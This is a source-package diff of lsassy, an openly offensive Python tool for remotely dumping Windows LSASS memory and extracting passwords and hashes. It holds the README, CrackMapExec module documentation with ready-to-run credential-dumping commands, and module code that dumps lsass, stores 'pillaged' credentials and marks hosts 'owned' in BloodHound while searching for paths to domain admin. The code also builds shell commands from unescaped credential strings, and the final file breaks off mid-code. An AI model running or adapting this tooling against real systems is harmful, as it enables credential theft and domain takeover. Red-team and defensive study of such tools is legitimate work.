New upstream version 2.1.2
Sophie Brun
4 years ago
0 | # These are supported funding model platforms | |
1 | ||
2 | #github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] | |
3 | ko_fi: hackndo |
0 | --- | |
1 | name: Bug report | |
2 | about: Create a report to help me improve lsassy :) | |
3 | title: '' | |
4 | labels: '' | |
5 | assignees: Hackndo | |
6 | ||
7 | --- | |
8 | ||
9 | <!-- | |
10 | These comment won't show up when you submit the issue. | |
11 | Before submitting an issue, check that you're using the latest version | |
12 | Send as much details as possible. | |
13 | * For standalone lsassy, please use the -d debug flag | |
14 | * For CME module, please use CrackMapExec --verbose flag | |
15 | --> | |
16 | ||
17 | ## Version(s) | |
18 | ||
19 | * lsassy : version Y | |
20 | * CME : version Y | |
21 | * <other> | |
22 | ||
23 | ## Describe the bug | |
24 | ||
25 | A clear description of what the bug is. | |
26 | ||
27 | ## Expected behavior | |
28 | ||
29 | A clear description of what you expected to happen. | |
30 | ||
31 | ## Screenshots | |
32 | ||
33 | If applicable, add screenshots to help explain your problem. | |
34 | * For standalone lsassy, please use maximum verbosity `-vv` | |
35 | * For CME module, please use CrackMapExec --verbose flag | |
36 | ||
37 | ## Additional context | |
38 | ||
39 | Add any other context about the problem here. |
0 | # Byte-compiled / optimized / DLL files | |
1 | __pycache__/ | |
2 | *.py[cod] | |
3 | *$py.class | |
4 | ||
5 | # Distribution / packaging | |
6 | .Python | |
7 | build/ | |
8 | develop-eggs/ | |
9 | dist/ | |
10 | downloads/ | |
11 | eggs/ | |
12 | .eggs/ | |
13 | lib/ | |
14 | lib64/ | |
15 | parts/ | |
16 | sdist/ | |
17 | var/ | |
18 | wheels/ | |
19 | pip-wheel-metadata/ | |
20 | share/python-wheels/ | |
21 | *.egg-info/ | |
22 | .installed.cfg | |
23 | *.egg | |
24 | MANIFEST | |
25 | ||
26 | # virtualenv | |
27 | env | |
28 | .env | |
29 | venv | |
30 | .venv | |
31 | ||
32 | # IDE | |
33 | .idea | |
34 | ||
35 | # Tests | |
36 | tests/tests_config.py |
0 | MIT License | |
1 | ||
2 | Copyright (c) 2018 Tamas Jos | |
3 | ||
4 | Permission is hereby granted, free of charge, to any person obtaining a copy | |
5 | of this software and associated documentation files (the "Software"), to deal | |
6 | in the Software without restriction, including without limitation the rights | |
7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |
8 | copies of the Software, and to permit persons to whom the Software is | |
9 | furnished to do so, subject to the following conditions: | |
10 | ||
11 | The above copyright notice and this permission notice shall be included in all | |
12 | copies or substantial portions of the Software. | |
13 | ||
14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |
15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | |
16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | |
17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | |
18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | |
19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE | |
20 | SOFTWARE. |
0 | clean: | |
1 | rm -f -r build/ | |
2 | rm -f -r dist/ | |
3 | rm -f -r *.egg-info | |
4 | find . -name '*.pyc' -exec rm -f {} + | |
5 | find . -name '*.pyo' -exec rm -f {} + | |
6 | find . -name '*~' -exec rm -f {} + | |
7 | ||
8 | publish: clean | |
9 | python3.7 setup.py sdist bdist_wheel | |
10 | python3.7 -m twine upload dist/* | |
11 | ||
12 | testpublish: clean | |
13 | python3.7 setup.py sdist bdist_wheel | |
14 | python3.7 -m twine upload --repository-url https://test.pypi.org/legacy/ dist/* | |
15 | ||
16 | rebuild: clean | |
17 | python3.7 setup.py install | |
18 | ||
19 | build: clean | |
20 | python3.7 setup.py install | |
21 | ||
22 | install: build | |
23 | ||
24 | test: | |
25 | python3.7 setup.py test |
0 | # lsassy | |
1 | ||
2 | [![PyPI version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=py&type=6&v=2.1.2&x2=0)](https://pypi.org/project/lsassy/) [![Twitter](https://img.shields.io/twitter/follow/hackanddo?label=HackAndDo&style=social)](https://twitter.com/intent/follow?screen_name=hackanddo) | |
3 | ||
4 | ![Example](https://github.com/Hackndo/lsassy/raw/master/assets/example.png) | |
5 | ||
6 | Python library to remotely extract credentials on a set of hosts. This [blog post](https://en.hackndo.com/remote-lsass-dump-passwords/) explains how it works. | |
7 | ||
8 | This library uses [impacket](https://github.com/SecureAuthCorp/impacket) project to remotely read necessary bytes in lsass dump and [pypykatz](https://github.com/skelsec/pypykatz) to extract credentials. | |
9 | ||
10 | | Chapters | Description | | |
11 | |----------------------------------------------|---------------------------------------------------------| | |
12 | | [Requirements](#requirements) | Requirements to install lsassy from source | | |
13 | | [Documentation](#documentation) | Lsassy documentation | | |
14 | | [CrackMapExec Module](#crackmapexec-module) | Link to CrackMapExec module included in this repository | | |
15 | | [Issues](#issues) | Read this before creating an issue | | |
16 | | [Acknowledgments](#acknowledgments) | Kudos to these people and tools | | |
17 | | [Contributors](#contributors) | People contributing to this tool | | |
18 | ||
19 | ## Requirement | |
20 | ||
21 | * Python >= 3.6 | |
22 | ||
23 | ## Documentation | |
24 | ||
25 | The tool is fully documented in the project's [wiki](https://github.com/Hackndo/lsassy/wiki) | |
26 | ||
27 | ### Installation | |
28 | ||
29 | * [Installation](https://github.com/Hackndo/lsassy/wiki/Lsassy-Installation) | |
30 | ||
31 | ### Standalone | |
32 | ||
33 | * [Basic Usage](https://github.com/Hackndo/lsassy/wiki/Lsassy-Basic-Usage) | |
34 | * [Advanced Usage](https://github.com/Hackndo/lsassy/wiki/Lsassy-Advanced-Usage) | |
35 | ||
36 | ### Library | |
37 | ||
38 | * [Basic Usage](https://github.com/Hackndo/lsassy/wiki/Lsassy-lib-Basic-Usage) | |
39 | * [Advanced Usage](https://github.com/Hackndo/lsassy/wiki/Lsassy-lib-Advanced-Usage) | |
40 | ||
41 | ### CrackMapExec module | |
42 | ||
43 | * [Installation](https://github.com/Hackndo/lsassy/wiki/CME-Installation) | |
44 | * [Basic Usage](https://github.com/Hackndo/lsassy/wiki/CME-Basic-Usage) | |
45 | * [Advanced Usage](https://github.com/Hackndo/lsassy/wiki/CME-Advanced-Usage) | |
46 | ||
47 | ## CrackMapExec module | |
48 | ||
49 | I wrote a CrackMapExec module that uses **lsassy** to extract credentials on compromised hosts | |
50 | ||
51 | CrackMapExec module is in `cme` folder : [CME Module](https://github.com/Hackndo/lsassy/tree/master/cme) | |
52 | ||
53 | ## Issues | |
54 | ||
55 | If you find an issue with this tool (that's very plausible !), please | |
56 | ||
57 | * Check that you're using the latest version | |
58 | * Send as much details as possible. | |
59 | - For standalone **lsassy**, please use maximum verbosity `-vv` | |
60 | - For CME module, please use CrackMapExec `--verbose` flag | |
61 | ||
62 | ## Changelog | |
63 | ||
64 | ``` | |
65 | v2.1.0 | |
66 | ------ | |
67 | * Kerberos authentication support (Thank you laxa for PR) | |
68 | * Add CME module for python3 | |
69 | * Update bloodhound queries for BloodHound3 | |
70 | * Bug fixes | |
71 | ||
72 | v2.0.0 | |
73 | ------ | |
74 | * Multiprocessing support to dump credentials on multiple hosts at a time | |
75 | * Add new dumping method using "dumpert" | |
76 | * Can be used as a library in other python projects | |
77 | * Syntax changed to be more flexible | |
78 | * Complete code refactoring, way more organized and easy to maintain/extend | |
79 | * Better error handling | |
80 | * Complete wiki | |
81 | ||
82 | v1.1.0 | |
83 | ------ | |
84 | * Better execution process : --method flag has been added and described in help text | |
85 | * Uses random dump name | |
86 | * Chose between cmd, powershell, dll and/or procdump methods | |
87 | * CME module is now using light lsassy WMIExec et TASKExec implementation | |
88 | * Bug fixes | |
89 | ||
90 | v1.0.0 | |
91 | ------ | |
92 | * Built-in lsass dump | |
93 | ** Lsass dump using built-in Windows | |
94 | ** Lsass dump using procdump (using -p parameter) | |
95 | * Add --dumppath to ask for remote parsing only | |
96 | * Code refactoring | |
97 | * Add --quiet to quiet output | |
98 | ||
99 | v0.2.0 | |
100 | ------ | |
101 | * Add BloodHound option to CME module (-o BLOODHOUND=True) | |
102 | - Set compromised targets as "owned" in BloodHound | |
103 | - Check if compromised users have at least one path to domain admin | |
104 | * Custom parsing (json, grep, pretty [default]) | |
105 | * New --hashes option to lsassy | |
106 | * Include CME module in repository | |
107 | * Add credentials to CME database | |
108 | ||
109 | ||
110 | v0.1.0 | |
111 | ------ | |
112 | First release | |
113 | ``` | |
114 | ||
115 | ## Acknowledgments | |
116 | ||
117 | * [Impacket](https://github.com/SecureAuthCorp/impacket) | |
118 | * [SkelSec](http://twitter.com/skelsec) for Pypykatz, but also for his patience and help | |
119 | * [mpgn](https://twitter.com/mpgn_x64) for his help and ideas | |
120 | ||
121 | ## Contributors | |
122 | ||
123 | * [ITPPA](https://github.com/ITPPA/) | |
124 | * [viaccoz](https://github.com/viaccoz) | |
125 | * [blurbdust](https://github.com/blurbdust) | |
126 | * [exploide](https://github.com/exploide) | |
127 | * [Laxa](https://github.com/Laxa) |
Binary diff not shown
Binary diff not shown
0 | # lsassy CrackMapExec Module | |
1 | ||
2 | ![CrackMapExec >= 4.0.1](https://img.shields.io/badge/CrackMapExec-%3E=4.0.1-red) | |
3 | ||
4 | This CME module uses **lsassy** to remotely extract lsass password, and optionally interacts with Bloodhound to **set compromised hosts as owned** and check if compromised users have a **path to domain admin**. | |
5 | ||
6 | ![CME Module example](https://github.com/Hackndo/lsassy/raw/master/assets/example_cme.png) | |
7 | ||
8 | ## Requirements | |
9 | ||
10 | * Python2.7 | |
11 | - [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec) | |
12 | * Python3.6+ | |
13 | - [lsassy](https://github.com/Hackndo/lsassy/) | |
14 | ||
15 | ||
16 | ## Installation | |
17 | ||
18 | * Install **lsassy** | |
19 | ||
20 | ### Python2 | |
21 | ||
22 | * Download [lsassy CrackMapExec module](https://raw.githubusercontent.com/Hackndo/lsassy/master/cme/lsassy.py) | |
23 | * Copy `lsassy.py` in `[CrackMapExec Path]/cme/modules` | |
24 | * Reinstall CrackMapExec using python2.7 `python setup.py install` | |
25 | ||
26 | ```bash | |
27 | python3 -m pip install lsassy | |
28 | wget https://raw.githubusercontent.com/Hackndo/lsassy/master/cme/lsassy.py | |
29 | cp lsassy.py /opt/CrackMapExec/cme/modules/ | |
30 | cd /opt/CrackMapExec | |
31 | python2.7 setup.py install | |
32 | ``` | |
33 | ||
34 | ### Python3 | |
35 | ||
36 | * Download [lsassy CrackMapExec module](https://raw.githubusercontent.com/Hackndo/lsassy/master/cme/lsassy3.py) | |
37 | * Copy `lsassy3.py` in `[CrackMapExec Path]/cme/modules` | |
38 | * Reinstall CrackMapExec using python3 `python setup.py install` | |
39 | ||
40 | ```bash | |
41 | python3 -m pip install lsassy | |
42 | wget https://raw.githubusercontent.com/Hackndo/lsassy/master/cme/lsassy3.py | |
43 | cp lsassy3.py /opt/CrackMapExec/cme/modules/ | |
44 | cd /opt/CrackMapExec | |
45 | python3 setup.py install | |
46 | ``` | |
47 | ||
48 | ## Usage | |
49 | ||
50 | ### Basic | |
51 | ||
52 | ```bash | |
53 | cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy | |
54 | ``` | |
55 | ||
56 | ### Advanced | |
57 | ||
58 | By default, this module uses `rundll32.exe` with `comsvcs.dll` DLL to dump lsass process on the remote host, with method **1** of lsassy. | |
59 | ||
60 | If you want to specify the dumping method, use the `METHOD` option (`lsassy -h` for more details) | |
61 | ||
62 | ```bash | |
63 | cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o METHOD=3 | |
64 | ``` | |
65 | ||
66 | If you're using a method that requires procdump, you can specify procdump location with `PROCDUMP_PATH` option. | |
67 | ||
68 | ```bash | |
69 | cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o METHOD=2 PROCDUMP_PATH=/opt/Sysinternals/procdump.exe | |
70 | ``` | |
71 | ||
72 | By default, lsass dump name is randomly generated. If you want to specify a dump name, you can use `REMOTE_LSASS_DUMP` option. | |
73 | ||
74 | ```bash | |
75 | cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o REMOTE_LSASS_DUMP=LSASSY_DUMP.dmp | |
76 | ``` | |
77 | ||
78 | ### BloodHound | |
79 | ||
80 | You can set BloodHound integration using `-o BLOODHOUND=True` flag. This flag enables different checks : | |
81 | * Set "owned" on BloodHound computer nodes that are compromised | |
82 | * Detect compromised users that have a **path to domain admin** | |
83 | ||
84 | ```bash | |
85 | cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o BLOODHOUND=True | |
86 | ``` | |
87 | ||
88 | You can check available options using | |
89 | ||
90 | ``` | |
91 | cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy --options | |
92 | [*] lsassy module options: | |
93 | ||
94 | METHOD Method to use to dump procdump with lsassy. See lsassy -h for more details | |
95 | REMOTE_LSASS_DUMP Name of the remote lsass dump (default: Random) | |
96 | PROCDUMP_PATH Path to procdump on attacker host. If this is not set, "rundll32" method is used | |
97 | BLOODHOUND Enable Bloodhound integration (default: false) | |
98 | NEO4JURI URI for Neo4j database (default: 127.0.0.1) | |
99 | NEO4JPORT Listeninfg port for Neo4j database (default: 7687) | |
100 | NEO4JUSER Username for Neo4j database (default: 'neo4j') | |
101 | NEO4JPASS Password for Neo4j database (default: 'neo4j') | |
102 | WITHOUT_EDGES List of black listed edges (example: 'SQLAdmin,CanRDP', default: '') | |
103 | ||
104 | ``` | |
105 | ||
106 | ## Issue | |
107 | ||
108 | If you find an issue with this tool (that's very plausible !), please | |
109 | ||
110 | * Check that you're using the latest version | |
111 | * Send as much details as possible. | |
112 | - For standalone **lsassy**, please use the `-d` debug flag | |
113 | - For CME module, please use CrackMapExec `--verbose` flag | |
114 | ||
115 | Have fun |
0 | # Author: | |
1 | # Romain Bentz (pixis - @hackanddo) | |
2 | # Website: | |
3 | # https://beta.hackndo.com [FR] | |
4 | # https://en.hackndo.com [EN] | |
5 | ||
6 | import json | |
7 | import subprocess | |
8 | import sys | |
9 | ||
10 | ||
11 | class CMEModule: | |
12 | name = 'lsassy' | |
13 | description = "Dump lsass and parse the result remotely with lsassy" | |
14 | supported_protocols = ['smb'] | |
15 | opsec_safe = True | |
16 | multiple_hosts = True | |
17 | ||
18 | def options(self, context, module_options): | |
19 | """ | |
20 | METHOD Method to use to dump lsass.exe with lsassy. See lsassy -h for more details | |
21 | REMOTE_LSASS_DUMP Name of the remote lsass dump (default: Random) | |
22 | PROCDUMP_PATH Path to procdump on attacker host (Required for method 2) | |
23 | DUMPERT_PATH Path to procdump on attacker host (Required for method 5) | |
24 | BLOODHOUND Enable Bloodhound integration (default: false) | |
25 | NEO4JURI URI for Neo4j database (default: 127.0.0.1) | |
26 | NEO4JPORT Listeninfg port for Neo4j database (default: 7687) | |
27 | NEO4JUSER Username for Neo4j database (default: 'neo4j') | |
28 | NEO4JPASS Password for Neo4j database (default: 'neo4j') | |
29 | WITHOUT_EDGES List of black listed edges (example: 'SQLAdmin,CanRDP', default: '') | |
30 | """ | |
31 | ||
32 | self.method = False | |
33 | self.remote_lsass_dump = False | |
34 | self.procdump_path = False | |
35 | self.dumpert_path = False | |
36 | ||
37 | if 'METHOD' in module_options: | |
38 | self.method = module_options['METHOD'] | |
39 | ||
40 | if 'REMOTE_LSASS_DUMP' in module_options: | |
41 | self.remote_lsass_dump = module_options['REMOTE_LSASS_DUMP'] | |
42 | ||
43 | if 'PROCDUMP_PATH' in module_options: | |
44 | self.procdump_path = module_options['PROCDUMP_PATH'] | |
45 | ||
46 | if 'DUMPERT_PATH' in module_options: | |
47 | self.dumpert_path = module_options['DUMPERT_PATH'] | |
48 | ||
49 | self.bloodhound = False | |
50 | self.neo4j_URI = "127.0.0.1" | |
51 | self.neo4j_Port = "7687" | |
52 | self.neo4j_user = "neo4j" | |
53 | self.neo4j_pass = "neo4j" | |
54 | self.without_edges = "" | |
55 | ||
56 | if module_options and 'BLOODHOUND' in module_options: | |
57 | self.bloodhound = module_options['BLOODHOUND'] | |
58 | if module_options and 'NEO4JURI' in module_options: | |
59 | self.neo4j_URI = module_options['NEO4JURI'] | |
60 | if module_options and 'NEO4JPORT' in module_options: | |
61 | self.neo4j_Port = module_options['NEO4JPORT'] | |
62 | if module_options and 'NEO4JUSER' in module_options: | |
63 | self.neo4j_user = module_options['NEO4JUSER'] | |
64 | if module_options and 'NEO4JPASS' in module_options: | |
65 | self.neo4j_pass = module_options['NEO4JPASS'] | |
66 | if module_options and 'WITHOUT_EDGES' in module_options: | |
67 | self.without_edges = module_options['WITHOUT_EDGES'] | |
68 | ||
69 | def on_admin_login(self, context, connection): | |
70 | if self.bloodhound: | |
71 | self.set_as_owned(context, connection) | |
72 | ||
73 | """ | |
74 | Since lsassy is py3.6+ and CME is still py2, lsassy cannot be | |
75 | imported. For this reason, connection information must be sent to lsassy | |
76 | so it can create a new connection. | |
77 | ||
78 | When CME is py3.6 compatible, CME connection object will be reused. | |
79 | """ | |
80 | domain_name = connection.domain | |
81 | username = connection.username | |
82 | password = getattr(connection, "password", "") | |
83 | lmhash = getattr(connection, "lmhash", "") | |
84 | nthash = getattr(connection, "nthash", "") | |
85 | ||
86 | password = "" if password is None else password | |
87 | lmhash = "" if lmhash is None else lmhash | |
88 | nthash = "" if nthash is None else nthash | |
89 | ||
90 | host = connection.host | |
91 | ||
92 | command = r"lsassy --format json -d '{}' -u '{}' -p '{}' -H '{}:{}' {}".format( | |
93 | domain_name, username, password, lmhash, nthash, host | |
94 | ) | |
95 | ||
96 | if context.verbose: | |
97 | command += " -vv " | |
98 | ||
99 | if self.method: | |
100 | command += " --method {}".format(self.method) | |
101 | ||
102 | if self.remote_lsass_dump: | |
103 | command += " --dumpname {}".format(self.remote_lsass_dump) | |
104 | ||
105 | if self.procdump_path: | |
106 | command += " --procdump {}".format(self.procdump_path) | |
107 | ||
108 | if self.dumpert_path: | |
109 | command += " --dumpert {}".format(self.dumpert_path) | |
110 | ||
111 | # Parsing lsass dump remotely | |
112 | context.log.info('Parsing lsass with lsassy') | |
113 | context.log.debug('Lsassy command : {}'.format(command)) | |
114 | code, out, err = self.run(command) | |
115 | ||
116 | context.log.debug('----- lsassy output -----') | |
117 | for line in out.split("\n"): | |
118 | context.log.debug('{}'.format(line)) | |
119 | context.log.debug('----- end output -----') | |
120 | ||
121 | if code != 0: | |
122 | # Debug output | |
123 | if code == 5: | |
124 | context.log.error('Lsass is protected') | |
125 | else: | |
126 | context.log.error('Error while executing lsassy, try using CrackMapExec with --verbose to get more details') | |
127 | context.log.debug('----- lsassy error [{}] -----'.format(code)) | |
128 | for line in err.split("\n"): | |
129 | context.log.debug('{}'.format(line)) | |
130 | context.log.debug('----- end error -----') | |
131 | elif not context.verbose: | |
132 | self.process_credentials(context, connection, out) | |
133 | ||
134 | @staticmethod | |
135 | def run(cmd): | |
136 | proc = subprocess.Popen([ | |
137 | '/bin/sh', '-c', cmd], | |
138 | stdout=subprocess.PIPE, | |
139 | stderr=subprocess.PIPE, | |
140 | ) | |
141 | stdout, stderr = proc.communicate() | |
142 | ||
143 | return proc.returncode, stdout, stderr | |
144 | ||
145 | def process_credentials(self, context, connection, credentials): | |
146 | credentials = json.loads(credentials) | |
147 | for domain, users in credentials.items(): | |
148 | for username, creds in users.items(): | |
149 | for cred in creds: | |
150 | password = cred['password'] | |
151 | lmhash = cred['lmhash'] | |
152 | nthash = cred['nthash'] | |
153 | self.save_credentials(context, connection, domain, username, password, lmhash, nthash) | |
154 | self.print_credentials(context, connection, domain, username, password, lmhash, nthash) | |
155 | ||
156 | @staticmethod | |
157 | def save_credentials(context, connection, domain, username, password, lmhash, nthash): | |
158 | host_id = context.db.get_computers(connection.host)[0][0] | |
159 | if password is not None: | |
160 | credential_type = 'plaintext' | |
161 | else: | |
162 | credential_type = 'hash' | |
163 | password = ':'.join(h for h in [lmhash, nthash] if h is not None) | |
164 | context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id) | |
165 | ||
166 | def print_credentials(self, context, connection, domain, username, password, lmhash, nthash): | |
167 | if password is None: | |
168 | password = ':'.join(h for h in [lmhash, nthash] if h is not None) | |
169 | output = "%s\\%s %s" % (domain.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8')) | |
170 | if self.bloodhound and self.bloodhound_analysis(context, connection, username): | |
171 | output += " [{}PATH TO DA{}]".format('\033[91m', '\033[93m') # Red and back to yellow | |
172 | context.log.highlight(output) | |
173 | ||
174 | def set_as_owned(self, context, connection): | |
175 | try: | |
176 | from neo4j.v1 import GraphDatabase | |
177 | except: | |
178 | from neo4j import GraphDatabase | |
179 | from neo4j.exceptions import AuthError, ServiceUnavailable | |
180 | host_fqdn = (connection.hostname + "." + connection.domain).upper() | |
181 | uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port) | |
182 | ||
183 | try: | |
184 | driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass)) | |
185 | except AuthError as e: | |
186 | context.log.error( | |
187 | "Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass)) | |
188 | sys.exit() | |
189 | except ServiceUnavailable as e: | |
190 | context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri)) | |
191 | sys.exit() | |
192 | except Exception as e: | |
193 | context.log.error("Unexpected error with Neo4J") | |
194 | context.log.debug("Error : ".format(str(e))) | |
195 | sys.exit() | |
196 | ||
197 | with driver.session() as session: | |
198 | with session.begin_transaction() as tx: | |
199 | result = tx.run( | |
200 | "MATCH (c:Computer {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(host_fqdn)) | |
201 | if len(result.value()) > 0: | |
202 | context.log.success("Node {} successfully set as owned in BloodHound".format(host_fqdn)) | |
203 | else: | |
204 | context.log.error( | |
205 | "Node {} does not appear to be in Neo4J database. Have you imported correct data ?".format(host_fqdn)) | |
206 | driver.close() | |
207 | ||
208 | def bloodhound_analysis(self, context, connection, username): | |
209 | try: | |
210 | from neo4j.v1 import GraphDatabase | |
211 | except: | |
212 | from neo4j import GraphDatabase | |
213 | from neo4j.exceptions import AuthError, ServiceUnavailable | |
214 | username = (username + "@" + connection.domain).upper().replace("\\", "\\\\") | |
215 | uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port) | |
216 | ||
217 | try: | |
218 | driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass)) | |
219 | except AuthError as e: | |
220 | context.log.error( | |
221 | "Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass)) | |
222 | return False | |
223 | except ServiceUnavailable as e: | |
224 | context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri)) | |
225 | return False | |
226 | except Exception as e: | |
227 | context.log.error("Unexpected error with Neo4J") | |
228 | context.log.debug("Error : ".format(str(e))) | |
229 | return False | |
230 | ||
231 | edges = [ | |
232 | "MemberOf", | |
233 | "HasSession", | |
234 | "AdminTo", | |
235 | "AllExtendedRights", | |
236 | "AddMember", | |
237 | "ForceChangePassword", | |
238 | "GenericAll", | |
239 | "GenericWrite", | |
240 | "Owns", | |
241 | "WriteDacl", | |
242 | "WriteOwner", | |
243 | "CanRDP", | |
244 | "ExecuteDCOM", | |
245 | "AllowedToDelegate", | |
246 | "ReadLAPSPassword", | |
247 | "Contains", | |
248 | "GpLink", | |
249 | "AddAllowedToAct", | |
250 | "AllowedToAct", | |
251 | "SQLAdmin" | |
252 | ] | |
253 | # Remove blacklisted edges | |
254 | without_edges = [e.lower() for e in self.without_edges.split(",")] | |
255 | effective_edges = [edge for edge in edges if edge.lower() not in without_edges] | |
256 | ||
257 | with driver.session() as session: | |
258 | with session.begin_transaction() as tx: | |
259 | query = """ | |
260 | MATCH (n:User {{name:\"{}\"}}),(m:Group),p=shortestPath((n)-[r:{}*1..]->(m)) | |
261 | WHERE m.objectsid ENDS WITH "-512" OR m.objectid ENDS WITH "-512" | |
262 | RETURN COUNT(p) AS pathNb | |
263 | """.format(username, '|'.join(effective_edges)) | |
264 | ||
265 | context.log.debug("Query : {}".format(query)) | |
266 | result = tx.run(query) | |
267 | driver.close() | |
268 | return result.value()[0] > 0 |
0 | # Author: | |
1 | # Romain Bentz (pixis - @hackanddo) | |
2 | # Website: | |
3 | # https://beta.hackndo.com [FR] | |
4 | # https://en.hackndo.com [EN] | |
5 | ||
6 | import json | |
7 | import subprocess | |
8 | import sys | |
9 | ||
10 | from lsassy import Lsassy, Logger, Dumper, Parser, Writer | |
11 | ||
12 | ||
13 | class CMEModule: | |
14 | name = 'lsassy' | |
15 | description = "Dump lsass and parse the result remotely with lsassy" | |
16 | supported_protocols = ['smb'] | |
17 | opsec_safe = True | |
18 | multiple_hosts = True | |
19 | ||
20 | def options(self, context, module_options): | |
21 | """ | |
22 | METHOD Method to use to dump lsass.exe with lsassy. See lsassy -h for more details | |
23 | REMOTE_LSASS_DUMP Name of the remote lsass dump (default: Random) | |
24 | PROCDUMP_PATH Path to procdump on attacker host (Required for method 2) | |
25 | DUMPERT_PATH Path to procdump on attacker host (Required for method 5) | |
26 | BLOODHOUND Enable Bloodhound integration (default: false) | |
27 | NEO4JURI URI for Neo4j database (default: 127.0.0.1) | |
28 | NEO4JPORT Listeninfg port for Neo4j database (default: 7687) | |
29 | NEO4JUSER Username for Neo4j database (default: 'neo4j') | |
30 | NEO4JPASS Password for Neo4j database (default: 'neo4j') | |
31 | WITHOUT_EDGES List of black listed edges (example: 'SQLAdmin,CanRDP', default: '') | |
32 | """ | |
33 | ||
34 | self.method = False | |
35 | self.remote_lsass_dump = False | |
36 | self.procdump_path = False | |
37 | self.dumpert_path = False | |
38 | ||
39 | if 'METHOD' in module_options: | |
40 | self.method = module_options['METHOD'] | |
41 | ||
42 | if 'REMOTE_LSASS_DUMP' in module_options: | |
43 | self.remote_lsass_dump = module_options['REMOTE_LSASS_DUMP'] | |
44 | ||
45 | if 'PROCDUMP_PATH' in module_options: | |
46 | self.procdump_path = module_options['PROCDUMP_PATH'] | |
47 | ||
48 | if 'DUMPERT_PATH' in module_options: | |
49 | self.dumpert_path = module_options['DUMPERT_PATH'] | |
50 | ||
51 | self.bloodhound = False | |
52 | self.neo4j_URI = "127.0.0.1" | |
53 | self.neo4j_Port = "7687" | |
54 | self.neo4j_user = "neo4j" | |
55 | self.neo4j_pass = "neo4j" | |
56 | self.without_edges = "" | |
57 | ||
58 | if module_options and 'BLOODHOUND' in module_options: | |
59 | self.bloodhound = module_options['BLOODHOUND'] | |
60 | if module_options and 'NEO4JURI' in module_options: | |
61 | self.neo4j_URI = module_options['NEO4JURI'] | |
62 | if module_options and 'NEO4JPORT' in module_options: | |
63 | self.neo4j_Port = module_options['NEO4JPORT'] | |
64 | if module_options and 'NEO4JUSER' in module_options: | |
65 | self.neo4j_user = module_options['NEO4JUSER'] | |
66 | if module_options and 'NEO4JPASS' in module_options: | |
67 | self.neo4j_pass = module_options['NEO4JPASS'] | |
68 | if module_options and 'WITHOUT_EDGES' in module_options: | |
69 | self.without_edges = module_options['WITHOUT_EDGES'] | |
70 | ||
71 | def on_admin_login(self, context, connection): | |
72 | if self.bloodhound: | |
73 | self.set_as_owned(context, connection) | |
74 | ||
75 | """ | |
76 | Since lsassy is py3.6+ and CME is still py2, lsassy cannot be | |
77 | imported. For this reason, connection information must be sent to lsassy | |
78 | so it can create a new connection. | |
79 | ||
80 | When CME is py3.6 compatible, CME connection object will be reused. | |
81 | """ | |
82 | domain_name = connection.domain | |
83 | username = connection.username | |
84 | password = getattr(connection, "password", "") | |
85 | lmhash = getattr(connection, "lmhash", "") | |
86 | nthash = getattr(connection, "nthash", "") | |
87 | ||
88 | password = "" if password is None else password | |
89 | lmhash = "" if lmhash is None else lmhash | |
90 | nthash = "" if nthash is None else nthash | |
91 | ||
92 | host = connection.host | |
93 | ||
94 | log_options = Logger.Options() | |
95 | dump_options = Dumper.Options() | |
96 | parse_options = Parser.Options() | |
97 | write_option = Writer.Options(format="json", quiet=True) | |
98 | ||
99 | if self.method: | |
100 | dump_options.method = int(self.method) | |
101 | ||
102 | if self.remote_lsass_dump: | |
103 | dump_options.dumpname = self.remote_lsass_dump | |
104 | ||
105 | if self.procdump_path: | |
106 | dump_options.procdump_path = self.procdump_path | |
107 | ||
108 | if self.dumpert_path: | |
109 | dump_options.dumpert_path = self.dumpert_path | |
110 | ||
111 | lsassy = Lsassy( | |
112 | hostname=host, | |
113 | username=username, | |
114 | domain=domain_name, | |
115 | password=password, | |
116 | lmhash=lmhash, | |
117 | nthash=nthash, | |
118 | log_options=log_options, | |
119 | dump_options=dump_options, | |
120 | parse_options=parse_options, | |
121 | write_options=write_option | |
122 | ) | |
123 | credentials = lsassy.get_credentials() | |
124 | ||
125 | if not credentials['success']: | |
126 | context.log.error(credentials['error_msg']) | |
127 | if context.verbose and credentials['error_exception']: | |
128 | context.log.error(credentials['error_exception']) | |
129 | else: | |
130 | self.process_credentials(context, connection, credentials["credentials"]) | |
131 | ||
132 | @staticmethod | |
133 | def run(cmd): | |
134 | proc = subprocess.Popen([ | |
135 | '/bin/sh', '-c', cmd], | |
136 | stdout=subprocess.PIPE, | |
137 | stderr=subprocess.PIPE, | |
138 | ) | |
139 | stdout, stderr = proc.communicate() | |
140 | ||
